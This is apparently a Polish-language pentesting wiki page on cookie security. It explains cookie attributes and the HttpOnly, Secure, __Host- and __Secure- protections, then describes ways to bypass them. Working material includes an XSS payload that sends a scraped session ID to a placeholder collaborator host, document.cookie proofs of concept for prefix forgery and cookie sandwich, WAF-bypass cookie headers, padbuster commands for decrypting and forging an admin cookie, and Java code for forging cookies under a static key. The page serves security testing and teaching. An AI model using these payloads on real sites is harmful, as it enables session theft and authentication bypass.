Ciasteczka Hacking

Reading time: 19 minutes

Atrybuty Cookie

Ciasteczka mają kilka atrybutów kontrolujących ich zachowanie w przeglądarce użytkownika. Poniżej znajduje się przegląd tych atrybutów w bardziej bezosobowej formie:

Expires and Max-Age

Data wygaśnięcia cookie jest określana przez atrybut Expires. Z kolei atrybut Max-age definiuje czas w sekundach do usunięcia cookie. Warto używać Max-age, ponieważ odzwierciedla to nowsze praktyki.

Domain

Hosty, które mają otrzymywać cookie, są określone przez atrybut Domain. Domyślnie jest on ustawiony na hosta, który wydał cookie, bez uwzględnienia subdomen. Jednak gdy atrybut Domain jest ustawiony jawnie, obejmuje również subdomeny. To sprawia, że określenie atrybutu Domain jest mniej restrykcyjne i przydatne w scenariuszach, gdzie konieczne jest współdzielenie cookie między subdomenami. Na przykład ustawienie Domain=mozilla.org sprawia, że cookie będą dostępne na subdomenach takich jak developer.mozilla.org.

Path

Atrybut Path wskazuje konkretną ścieżkę URL, która musi być obecna w żądanym URL, aby nagłówek Cookie został wysłany. Ten atrybut traktuje znak / jako separator katalogów, co pozwala na dopasowania także w podkatalogach.

Ordering Rules

Gdy dwa cookie mają tę samą nazwę, wybór tego, które zostanie wysłane, opiera się na:

• Cookie dopasowującym najdłuższą ścieżkę w żądanym URL.
• Najświeżej ustawionym cookie, jeśli ścieżki są identyczne.

SameSite

• Atrybut SameSite określa, czy cookie są wysyłane w żądaniach pochodzących z domen trzecich. Oferuje trzy ustawienia:
• Strict: uniemożliwia wysyłanie cookie w żądaniach z domen trzecich.
• Lax: pozwala na wysyłanie cookie z żądaniami GET inicjowanymi przez strony trzecie.
• None: zezwala na wysyłanie cookie z dowolnej domeny trzeciej.

Pamiętaj, że podczas konfigurowania cookie zrozumienie tych atrybutów pomaga zapewnić, że będą się zachowywać zgodnie z oczekiwaniami w różnych scenariuszach.

Tabela z Invicti z drobnymi modyfikacjami.
Cookie z atrybutem SameSite będzie łagodzić ataki CSRF, gdzie wymagana jest zalogowana sesja.

*Zauważ, że od Chrome80 (luty/2019) domyślne zachowanie cookie bez atrybutu samesite będzie Lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Zauważ także, że tymczasowo, po wprowadzeniu tej zmiany, cookie bez polityki SameSite w Chrome będą traktowane jako None przez pierwsze 2 minuty, a potem jako Lax dla top-level cross-site POST request.

Flagi Cookies

HttpOnly

To uniemożliwia klientowi dostęp do cookie (np. przez Javascript: document.cookie)

Bypasses

• Jeśli strona wysyła cookie w treści odpowiedzi na żądanie (na przykład strona PHPinfo), można wykorzystać XSS do wysłania żądania do tej strony i wykradzenia cookie z odpowiedzi (zobacz przykład w https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Można to obejść za pomocą żądań TRACE HTTP, ponieważ odpowiedź serwera (jeśli metoda jest dostępna) odbije wysłane cookie. Ta technika nazywa się Cross-Site Tracking.
• Nowoczesne przeglądarki zapobiegają tej metodzie, nie pozwalając na wysyłanie TRACE z JS. Jednak znaleziono pewne obejścia w specyficznym oprogramowaniu, np. wysyłając \r\nTRACE zamiast TRACE do IE6.0 SP2.
• Inną metodą jest wykorzystanie zero/day luk w przeglądarkach.
• Możliwe jest nadpisanie HttpOnly cookie poprzez wykonanie ataku Cookie Jar overflow:

Cookie Jar Overflow

• Można użyć ataku Cookie Smuggling do eksfiltrowania tych cookie
• Jeśli którykolwiek endpoint po stronie serwera echouje surowe ID sesji w odpowiedzi HTTP (np. wewnątrz komentarzy HTML lub bloku debug), można obejść HttpOnly używając gadgetu XSS do pobrania tego endpointu, wyciągnięcia sekretu za pomocą regex i eksfiltracji. Przykładowy XSS payload:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Przeglądarka wyśle ciasteczko w żądaniu HTTP tylko wtedy, gdy żądanie jest przesyłane przez bezpieczny kanał (zazwyczaj HTTPS).

Prefiksy plików cookie

Ciasteczka z prefiksem __Secure- muszą być ustawione razem z flagą secure ze stron zabezpieczonych przez HTTPS.

Dla ciasteczek z prefiksem __Host- musi być spełnionych kilka warunków:

• Musi być ustawiona flaga secure.
• Muszą pochodzić ze strony zabezpieczonej HTTPS.
• Zabronione jest określanie domeny, co zapobiega ich przesyłaniu do subdomen.
• Ścieżka dla tych ciasteczek musi być ustawiona na /.

Ważne jest, aby pamiętać, że ciasteczka z prefiksem __Host- nie mogą być wysyłane ani do superdomen, ani do subdomen. To ograniczenie pomaga izolować ciasteczka aplikacji. Dlatego stosowanie prefiksu __Host- dla wszystkich ciasteczek aplikacyjnych można uznać za dobrą praktykę zwiększającą bezpieczeństwo i izolację.

Overwriting cookies

Jednym z mechanizmów ochronnych ciasteczek z prefiksem __Host- jest uniemożliwienie ich nadpisania przez subdomeny. Zapobiega to na przykład Cookie Tossing attacks. W wykładzie Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) pokazano, że było możliwe ustawić __HOST- prefiksowane ciasteczka z subdomeny, oszukując parser — na przykład dodając "=" na początku albo na początku i na końcu...:

Albo w PHP można było dodać inne znaki na początku nazwy cookie, które miały być zamienione na znaki podkreślenia, co pozwalało nadpisać __HOST- cookies:

Unicode whitespace cookie-name smuggling (prefix forgery)

Wykorzystaj rozbieżności między parsowaniem przeglądarki a serwera poprzez poprzedzenie nazwy cookie znakiem białej spacji Unicode. Przeglądarka nie potraktuje nazwy jako dosłownie zaczynającej się od __Host-/__Secure-, więc pozwoli na ustawienie z subdomeny. Jeśli backend obetnie/znormalizuje wiodące białe znaki Unicode w kluczach cookie, zobaczy chronioną nazwę i może nadpisać ciasteczko o wysokich uprawnieniach.

• PoC z subdomeny, która może ustawić cookies domeny nadrzędnej:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Typowe zachowanie backendu umożliwiające problem:

• Frameworki, które przycinają/normalizują klucze cookie. W Django, Python’s str.strip() usuwa szeroki zakres kodów Unicode dla białych znaków, powodując normalizację nazwy do __Host-name.

• Najczęściej przycinane punkty kodowe obejmują: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Wiele frameworków rozstrzyga duplikaty nazw cookie jako “last wins”, więc kontrolowana przez atakującego znormalizowana wartość cookie nadpisuje prawidłową.

• Różnice między przeglądarkami mają znaczenie:

• Safari blokuje wielobajtowe białe znaki Unicode w nazwach cookie (np. odrzuca U+2000), ale nadal przepuszcza jednobajtowe U+0085 i U+00A0, które wiele backendów przycina. Testuj na różnych przeglądarkach.

• Wpływ: Umożliwia nadpisanie __Host-/__Secure- cookie z mniej zaufanych kontekstów (subdomen), co może prowadzić do XSS (jeśli odzwierciedlone), nadpisania tokena CSRF i session fixation.

• Przykład on-the-wire vs widok serwera (U+2000 obecne w nazwie):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Wiele backendów dzieli/parsuje, a następnie przycina, w efekcie znormalizowany __Host-name przyjmuje wartość kontrolowaną przez atakującego.

Dzielenie ciasteczek $Version=1 na backendach Java (prefix bypass)

Niektóre stosy Java (np. Tomcat/Jetty-style) nadal włączają parsowanie zgodne ze starymi RFC 2109/2965, gdy nagłówek Cookie zaczyna się od $Version=1. Może to spowodować, że serwer zinterpretuje pojedynczy ciąg ciasteczek jako wiele logicznych ciasteczek i zaakceptuje sfałszowany wpis __Host-, który pierwotnie został ustawiony z subdomeny lub nawet z niebezpiecznego (niezabezpieczonego) źródła.

• PoC wymuszający legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Dlaczego to działa:

• Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of __Host-/__Secure- prefix guarantees.

• Gdzie spróbować: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Połącz z duplicate-name overwrite semantics.

Duplicate-name last-wins overwrite primitive

When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two __Host-* names, the attacker-controlled one will typically win.

Detection and tooling

Use Burp Suite to probe for these conditions:

• Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
• Send $Version=1 first in the Cookie header and check if the backend performs legacy splitting/normalization.
• Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
• Burp Custom Action to automate this: CookiePrefixBypass.bambda

Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.

Cookies Attacks

Jeśli niestandardowe cookie zawiera dane wrażliwe, sprawdź je (szczególnie jeśli grasz w CTF), ponieważ może być podatne.

Decoding and Manipulating Cookies

Dane wrażliwe osadzone w cookies powinny być zawsze dokładnie sprawdzone. Cookies zakodowane w Base64 lub podobnych formatach można często zdekodować. Ta podatność pozwala atakującemu zmienić zawartość cookie i podszyć się pod innych użytkowników, enkodując zmodyfikowane dane z powrotem do cookie.

Session Hijacking

Ten atak polega na kradzieży cookie użytkownika, aby uzyskać nieautoryzowany dostęp do jego konta w aplikacji. Używając skradzionego cookie, atakujący może podszyć się pod prawowitego użytkownika.

Session Fixation

W tej sytuacji atakujący nakłania ofiarę do użycia konkretnego cookie podczas logowania. Jeśli aplikacja nie przydzieli nowego cookie po logowaniu, atakujący, posiadając oryginalne cookie, może podszyć się pod ofiarę. Technika ta opiera się na tym, że ofiara loguje się z cookie dostarczonym przez atakującego.

Jeśli znalazłeś XSS in a subdomain lub kontrolujesz subdomenę, przeczytaj:

Cookie Tossing

Session Donation

Tutaj atakujący przekonuje ofiarę, aby użyła cookie sesji atakującego. Ofiara, wierząc, że jest zalogowana na własne konto, nieświadomie wykona działania w kontekście konta atakującego.

Jeśli znalazłeś XSS in a subdomain lub kontrolujesz subdomenę, przeczytaj:

Cookie Tossing

JWT Cookies

Kliknij poprzedni link, aby przejść do strony wyjaśniającej możliwe błędy w JWT.

JSON Web Tokens (JWT) używane w cookies również mogą mieć podatności. Aby uzyskać szczegółowe informacje o możliwych błędach i sposobach ich wykorzystania, warto przejrzeć powiązany dokument o hacking JWT.

Cross-Site Request Forgery (CSRF)

Ten atak zmusza zalogowanego użytkownika do wykonania niepożądanych działań w aplikacji webowej, w której jest obecnie uwierzytelniony. Atakujący może wykorzystać cookies, które są automatycznie wysyłane z każdym żądaniem do podatnej strony.

Empty Cookies

(Check further details in theoriginal research) Przeglądarki pozwalają na tworzenie cookies bez nazwy, co można zademonstrować za pomocą JavaScript w następujący sposób:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Wysłany nagłówek cookie zawiera a=v1; test value; b=v2;. Co ciekawe, umożliwia to manipulację cookie, jeśli ustawione zostanie cookie z pustą nazwą, potencjalnie kontrolując inne cookies przez ustawienie pustego cookie na określoną wartość:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

To powoduje, że przeglądarka wysyła nagłówek cookie interpretowany przez każdy serwer WWW jako cookie o nazwie a z wartością b.

Chrome Bug: Problem z Unicode surrogate codepoint

W Chrome, jeśli Unicode surrogate codepoint jest częścią ustawianego cookie, document.cookie ulega uszkodzeniu i następnie zwraca pusty ciąg:

document.cookie = "\ud800=meep"

W rezultacie document.cookie zwraca pusty ciąg, co wskazuje na trwałe uszkodzenie.

Cookie Smuggling z powodu problemów z parsowaniem

(Sprawdź szczegóły w original research) Kilka serwerów WWW, w tym te dla Java (Jetty, TomCat, Undertow) i Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), nieprawidłowo obsługuje ciągi cookie z powodu przestarzałego wsparcia RFC2965. Odczytują wartość cookie w podwójnym cudzysłowie jako jedną wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Sprawdź dalsze szczegóły w theoriginal research) Nieprawidłowe parsowanie cookie przez serwery, w szczególności Undertow, Zope oraz te korzystające z Pythona http.cookie.SimpleCookie i http.cookie.BaseCookie, tworzy możliwości ataków typu cookie injection. Te serwery nie rozgraniczają poprawnie początku nowych cookie, pozwalając atakującym na spoofowanie cookie:

• Undertow oczekuje nowego cookie natychmiast po cytowanej wartości bez średnika.
• Zope szuka przecinka, aby rozpocząć parsowanie następnego cookie.
• Klasy cookie w Pythonie zaczynają parsowanie od znaku spacji.

Ta podatność jest szczególnie groźna w aplikacjach webowych polegających na cookie-based CSRF protection, ponieważ pozwala atakującym wstrzyknąć sfałszowane cookie z tokenem CSRF, potencjalnie omijając zabezpieczenia. Problem pogłębia sposób, w jaki Python traktuje duplikaty nazw cookie — ostatnie wystąpienie nadpisuje wcześniejsze. Budzi to także obawy o __Secure- i __Host- cookie w niebezpiecznych kontekstach i może prowadzić do obejścia autoryzacji, gdy cookie są przekazywane do back-endów podatnych na spoofing.

Cookies $version

WAF Bypass

According to this blogpost, możliwe jest użycie atrybutu cookie $Version=1, aby sprawić, że backend użyje starej logiki parsowania cookie z powodu RFC2109. Ponadto inne wartości, takie jak $Domain i $Path, mogą być użyte do modyfikacji zachowania backendu za pomocą cookie.

Cookie Sandwich Attack

According to this blogpost możliwe jest użycie techniki cookie sandwich do kradzieży HttpOnly cookies. Oto wymagania i kroki:

• Znajdź miejsce, gdzie pozornie bezużyteczny cookie jest reflected in the response
• Create a cookie called $Version z wartością 1 (można to zrobić poprzez XSS z JS) z bardziej specyficzną ścieżką, aby uzyskał początkową pozycję (niektóre frameworki jak Python nie potrzebują tego kroku)
• Create the cookie that is reflected z wartością, która zostawia otwarty podwójny cudzysłów i ze specyficzną ścieżką, aby został umieszczony w cookie db po poprzednim ($Version)
• Wtedy legit cookie będzie następne w kolejności
• Create a dummy cookie that closes the double quotse wewnątrz swojej wartości

W ten sposób cookie ofiary zostaje uwięzione wewnątrz nowego cookie version 1 i będzie odzwierciedlane za każdym razem, gdy jest reflected. np. z posta:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Sprawdź poprzednią sekcję.

Bypassing value analysis with quoted-string encoding

To parsowanie powoduje usunięcie escapingu wartości wewnątrz cookie, więc "\a" staje się "a".

Może to być przydatne do obejścia WAFs, np.:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

W RFC2109 jest wskazane, że przecinek może być użyty jako separator między wartościami cookie. Możliwe jest też dodanie spacji i tabulatorów przed i po znaku równości. W związku z tym cookie takie jak $Version=1; foo=bar, abc = qux nie wygeneruje cookie "foo":"bar, admin = qux", lecz wygeneruje cookie foo":"bar" oraz "admin":"qux". Zwróć uwagę, że wygenerowane zostały 2 cookie i że admin stracił spację przed i po znaku równości.

Bypassing value analysis with cookie splitting

Na koniec różne backdoors łączyłyby w jednym stringu różne cookie przesłane w różnych nagłówkach Cookie, jak w:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Co mogłoby pozwolić na bypass WAF, jak w tym przykładzie:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Dodatkowe sprawdzenia podatnych Cookies

Podstawowe kontrole

• cookie jest taki sam za każdym razem gdy wykonujesz login.
• Log out i spróbuj użyć tego samego cookie.
• Spróbuj wykonać login z 2 urządzeń (lub przeglądarek) do tego samego konta używając tego samego cookie.
• Sprawdź, czy cookie zawiera jakieś informacje i spróbuj je zmodyfikować.
• Spróbuj stworzyć kilka kont z prawie takimi samymi username i sprawdź, czy widać podobieństwa.
• Sprawdź opcję "remember me", jeśli istnieje, aby zobaczyć jak działa. Jeśli istnieje i może być podatna, zawsze używaj cookie z remember me bez innych cookie.
• Sprawdź, czy poprzednie cookie działa nawet po zmianie hasła.

Zaawansowane ataki na cookies

Jeśli cookie pozostaje takie samo (lub prawie) gdy wykonujesz login, prawdopodobnie oznacza to, że cookie jest powiązane z jakimś polem twojego konta (prawdopodobnie z username). Wtedy możesz:

• Spróbuj stworzyć wiele kont z bardzo podobnymi username i spróbuj odgadnąć, jak działa algorytm.
• Try to bruteforce the username. Jeśli cookie służy tylko jako metoda uwierzytelniania dla twojego username, możesz stworzyć konto z username "Bmin" i bruteforce każdy pojedynczy bit twojego cookie, ponieważ jeden z cookie, które wypróbujesz, będzie należał do "admin".
• Wypróbuj Padding Oracle (możesz odszyfrować zawartość cookie). Użyj padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster wykona kilka prób i zapyta cię, który warunek jest warunkiem błędu (ten, który jest nieprawidłowy).

Potem zacznie decrypting the cookie (może to potrwać kilka minut)

Jeśli atak zostanie pomyślnie przeprowadzony, możesz spróbować encrypt wybranego przez siebie ciągu. Na przykład, jeśli chciałbyś encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

To uruchomienie zwróci cookie poprawnie zaszyfrowane i zakodowane, zawierające ciąg user=administrator.

CBC-MAC

Może cookie zawierać jakąś wartość i być podpisane przy użyciu CBC. Wtedy integralność wartości jest podpisem utworzonym przez zastosowanie CBC na tej samej wartości. Ponieważ zaleca się użycie jako IV wektora zerowego, tego typu sprawdzanie integralności może być podatne.

Atak

1. Uzyskaj podpis dla username administ = t
2. Uzyskaj podpis dla username rator\x00\x00\x00 XOR t = t'
3. Ustaw w cookie wartość administrator+t' (t' będzie prawidłowym podpisem dla (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Jeśli cookie jest szyfrowane przy użyciu ECB, może być podatne.
Gdy się logujesz, cookie które otrzymujesz powinno być zawsze takie samo.

Jak wykryć i zaatakować:

Utwórz 2 konta z prawie tymi samymi danymi (username, password, email itd.) i spróbuj odkryć jakiś wzorzec w otrzymanym cookie

Utwórz konto na przykład o nazwie "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i sprawdź, czy w cookie występuje jakiś wzorzec (ponieważ ECB szyfruje każdy blok tym samym kluczem, te same zaszyfrowane bajty mogą się pojawić, jeśli username jest szyfrowany).

Powinien pojawić się wzorzec (o rozmiarze używanego bloku). Znając jak zaszyfrowana jest grupa "a", możesz utworzyć username: "a"*(size of the block)+"admin". Następnie możesz usunąć z cookie zaszyfrowany wzorzec odpowiadający blokowi "a". Wówczas otrzymasz cookie dla username "admin".

Fałszowanie cookie przy stałym kluczu (szyfrowanie symetryczne przewidywalnych ID)

Niektóre aplikacje tworzą cookie uwierzytelniające, szyfrując tylko przewidywalną wartość (np. numeryczny user ID) za pomocą globalnego, na stałe zakodowanego klucza symetrycznego, a następnie kodując ciphertext (hex/base64). Jeśli klucz jest statyczny dla produktu (lub instalacji), każdy może offline sfałszować cookie dla dowolnych użytkowników i obejść uwierzytelnianie.

Jak testować/fałszować

• Zidentyfikuj cookie(y), które kontrolują uwierzytelnianie, np. COOKIEID i ADMINCOOKIEID.
• Określ szyfr/kodowanie. W jednym rzeczywistym przypadku aplikacja używała IDEA ze stałym 16-byte kluczem i zwracała ciphertext jako hex.
• Zweryfikuj szyfrując własny user ID i porównując z wydanym cookie. Jeśli pasuje, możesz wygenerować cookies dla dowolnego docelowego ID (1 często odpowiada pierwszemu adminowi).
• Ustaw sfałszowaną wartość bezpośrednio jako cookie i przeglądaj; nie są potrzebne żadne poświadczenia.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Referencje

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda